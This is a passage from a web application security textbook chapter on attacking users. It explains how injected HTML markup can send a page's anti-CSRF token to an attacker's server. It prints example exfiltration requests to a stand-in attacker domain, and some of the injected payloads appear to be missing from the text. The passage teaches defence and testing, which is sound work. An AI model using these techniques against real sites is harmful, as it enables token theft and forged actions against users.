the-web-application-hackers-handbook

Chapter 13 n Attacking Users: Other Techniques 517
is not terminated, and the tag is not closed. This causes the browser to
treat the text following the injection point as part of the URL, up until a single
quotation mark is encountered, which happens later in the response when a
quoted JavaScript string appears. Browsers tolerate all the intervening characters
and the fact that the URL spans several lines.
When the user’s browser processes the response into which the attacker has
injected, it attempts to fetch the specified image and makes a request to the
following URL, thereby sending the sensitive anti-CSRF token to the attacker’s
server:
http://mdattacker.net/capture?html=......
var%20_StatsTrackerId=
An alternative attack would be to inject the following text:
This attack injects a tag targeting the attacker’s domain before the
tag used by the application itself. In this situation, when browsers encounter
the nested tag, they ignore it and process the form in the context of the
first tag that was encountered. Hence, if the user submits the form, all
its parameters, including the sensitive anti-CSRF token, are submitted to the
attacker’s server:
POST /capture HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 192
Host: mdattacker.net
nonce=2230313740821&...
Since this second attack injects only well-formed HTML, it may be more
effective against filters designed to allow a subset of HTML in echoed inputs.
However, it also requires some user interaction to succeed, which may reduce
its effectiveness in some situations.
Capturing Data by Injecting CSS
In the examples discussed in the preceding section, it was necessary to use some
limited HTML markup in the injected text to capture part of the response crossdomain.
In many situations, however, the application blocks or HTML-encodes
the characters < and > in the injected input, preventing the introduction of any
new HTML tags. Pure text injection conditions like this are common in web
applications and are often considered harmless.